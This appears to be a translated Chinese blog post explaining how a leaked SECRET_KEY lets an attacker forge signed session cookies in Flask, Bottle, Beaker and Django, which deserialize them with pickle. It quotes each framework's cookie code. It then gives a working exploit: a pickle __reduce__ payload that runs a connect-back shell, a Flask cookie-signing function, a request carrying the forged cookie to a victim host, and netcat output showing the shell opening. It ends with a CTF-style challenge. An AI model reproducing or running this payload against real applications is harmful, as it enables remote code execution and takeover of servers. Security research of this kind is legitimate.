?Django, Bottle, Flask,等所有的python web框架都需要配置一個SECRET_KEY。文檔通常推薦我們使用隨機的值,但我很難發現他有任何文字說明,因為這樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies,csrf token然后使用管理員工具。不過這很難做到,不過他可以搞一些小破壞,比如執行惡意代碼。這也是我下面將要介紹的。
記得以前使用PHP找到一個可以讀服務器上任意文件的bug(不包含本地文件),你將會被迫選擇遠程執行代碼(RCE)。你就需要審查大部分的app資源文件來找到其他的bugs或者有用的信息(比如說用戶密碼,或者數據庫信息等)。在這個情況下,我們能說PHP是更安全的嗎?
在攻擊一個Python網站框架的時候,知道你設置的SECRET_KEY字段的攻擊者,能夠簡單的將LFR攻擊升級到RCE攻擊。我(作者)是從攻擊一系列的網站框架之后得出如上結論的。在這些網站框架中,都有雷同的,使用Pickle作為將經過簽名的Cookie序列化的方式。
在
Flask
框架中,Flask在config['SECRET_KEY']被賦予某個值,session_cookie_name(default='session')存在于cookie中的時候,將Cookie反序列化,甚至在沒有session的情況下。(這樣多么好,攻擊者可以僅僅通過向config file添加SECRET_KEY的方式制造后門,并且,天真的用戶將認為這非常'重要')
?
從 werkzeug library 里面提取出來的反序列方法是這樣的:
?
def unserialize(cls, string, secret_key): if isinstance(string, unicode): string = string.encode('utf-8', 'replace') try: base64_hash, data = string.split('?', 1) except (ValueError, IndexError): items = () else: items = {} mac = hmac(secret_key, None, cls.hash_method) # -- snip --- try: client_hash = base64_hash.decode('base64') except Exception: items = client_hash = None if items is not None and safe_str_cmp(client_hash, mac.digest()): try: for key, value in items.iteritems(): items[key] = cls.unquote(value) except UnquoteError: # -- snip -- else: items = () return cls(items, secret_key, False)
反序列方法檢查簽名,然后在簽名正確的情況下unquote()cookie的值。unquote()方法看起來非常無辜,但是事實上,這是一個默認的pickle.
?
#: the module used for serialization. Unless overriden by subclasses #: the standard pickle module is used. serialization_method = pickle def unquote(cls, value): # -- snip -- if cls.quote_base64: value = value.decode('base64') if cls.serialization_method is not None: value = cls.serialization_method.loads(value) return value # -- snip --
Bottle : 在默認的bottle設定中時沒有真正的secret key的,但是也許有人想要用signed cookie的功能來加密他自己的cookie.
讓我們來看看代碼是怎么樣的:
?
def get_cookie(self, key, default=None, secret=None): value = self.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) # (key, value) tuple or None return dec[1] if dec and dec[0] == key else default return value or default
當這個密鑰被展現出來的時候,并且在cookie中還有其他數值的時候,cookie_decode? 方法被調用:
?
def cookie_decode(data, key): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): return pickle.loads(base64.b64decode(msg)) return None
再次,我們看到了Pickle !
Beaker 的session:(任何服務都可以在session上使用beaker的中間件,bottle框架甚至推薦這么做) Beaker.Session 具有很多功能,并且這可能被混淆: 這里面有三個密鑰 secret_key, validate_key, encrypted_key)
??? encrypt_key: 加密cookie信息,然后要么向客戶端發送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中儲存。如果沒有設定encrypt_key,那么cookie不會被加密,只會被base64編碼。當有encrypt_key的時候,cookie會被用encrypted_key, validate_key(可選)和一個隨機值用AES方法加密。
??? validate_key: 用來給加密的cookie簽名
??? secret:在用File mode時候給cookie簽名(我不知道為什么他們不就用一個validate_key就好了!)
?
當然,當有人對文件擁有讀的權限的時候,他/她理所當然知道所有的字段。然而,File mode使得攻擊不得能因為我們對已經序列化的數據并沒有控制權,例如,當這些數據儲存在本地硬盤上的時候。在Cookie mode,攻擊就能夠成立,即便cookie被編碼了(因為我們知道怎么encrypt,哈哈)。你也許會問,那個隨機參數是不可知的,你們沒辦法攻擊,幸運的是這個隨機參數也是cookie存數的session數據的一部分,因此,我們可以將其替代為任何我們需要的值。
下面是他們構造session數據的代碼
?
def _encrypt_data(self, session_data=None): """Serialize, encipher, and base64 the session dict""" session_data = session_data or self.copy() if self.encrypt_key: nonce = b64encode(os.urandom(6))[:8] encrypt_key = crypto.generateCryptoKeys(self.encrypt_key, self.validate_key + nonce, 1) data = util.pickle.dumps(session_data, 2) return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key)) else: data = util.pickle.dumps(session_data, 2) return b64encode(data)
我們明顯的看到這些數據的處理存在風險。
Django
: 最知名也是在Python語言中最復雜的一個服務器框架。而且,沒錯,Django的開發者們在Cookie Session上放置了一個蠻不錯的警告。以我之鄙見,這個警告不夠,而應該被替換成'致命'或者是'警示',并且標上紅色。
Django的Session是咋么工作的呢?我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個可以設定的項目:db,file以及signed_cookie。再一次,我們只對signed_cookie產生興趣,因為我們可以輕松的改變它。如果SESSION_ENGINE被設定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用于session的管理。
有趣的是,如果我們在request cookie里面構造一個sessionid,它總是會被反序列化。Django也給了我們一個cookie是如何被簽名的好實例。這讓我們的工作輕松多了。
我們的攻擊
我們還沒有討論我們如何攻擊(有些你可能已經知道了)!感謝您的耐心看到最后,我寫它在最后是因為攻擊手段充滿共性,而且簡單(是的,原則性的知識)。
在這里,我們可以讀取任何文件。要找到Python應用程序的配置文件并不難,因為到處有導入(import)。當我們獲得的密鑰時,我們可以簡單的實現(或重復使用)簽署web框架的cookie,并使用我們的惡意代碼。 因為它們使用的是pickle.loads()反序列化的時候,我們的使用pickle.dumps()保存惡意代碼。
piclke.dump()和loads()通常在處理整數,字符串,數列,哈希,字典類型的時候是安全的....但是他在處理一些惡意構造的數據類型的時候就不安全了!事實上,攻擊者可以通過構造的數據類型來達到執行任意Python代碼的目的。我寫了一段不錯的小程序來吧Python代碼轉換成Pickle序列化的對象。我們應該從connback.py開始閱讀(這實際上是一個反向鏈接的shell),然后我們將誘使對方網站來用Pickle方法將其序列化。如果有人執行了pickle.loads(payload),那么我們的反向鏈接shell就會被激活。
?
code = b64(open('connback.py').read()) class ex(object): def __reduce__(self): return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) ) payload = pickle.dumps(ex())
現在我們簽名(適用于flask web框架):
?
def send_flask(key, payload): data = 'id='+b64(payload) mac = b64(hmac(key, '|'+data, hashlib.sha1).digest()) s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
然后發送
?
print requests.get('http://victim/', cookies={'session':s})
在另外一個終端里:
?
danghvu@thebeast:~$ nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$
還有啥?
-所以怎樣?只要你不知道我的secret_key我就是安全的!可以啊,你可以這樣....但是和宣稱:"我把我的鑰匙放在房頂上,我知道你爬不上來..."沒啥區別。
-好的, 所以如果我不用這種session cookie,我就安全了!沒錯,在小型的web app上,將session 儲存在文件里面更安全(如果放在DB里面,我們還面臨SQL Injection的危險)。但是如果是大型web app,然后你有個分布式的存儲方式,這將導致嚴重的效率問題。
-那咋辦?也許我們應該讓那些web框架不要用piclke來序列化?我不知道是否存在這種框架,如果有的話就好了。PHP更安全嗎?事實上不是如此
最后:
Web.Py,當我查看他們的web session文檔的時候我發現:CookieHandler ?C DANGEROUS, UNSECURE, EXPERIMENTAL
所以,干得好:D ,也許所有人都應該這樣做。你們應該去試試web.py和其他框架。
我做了這些,如果你想要讓它奏效你也可以花點時間上去。
作為一個禮物,這個網站是有這個漏洞的,讓我們看看你們是不是能夠把lfr bug升級成為一個rce,然后你們會找到真正的禮物:一個flag...
更新:有漏洞的網站的源碼放在github上了,它的secret_key已經不一樣了。
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
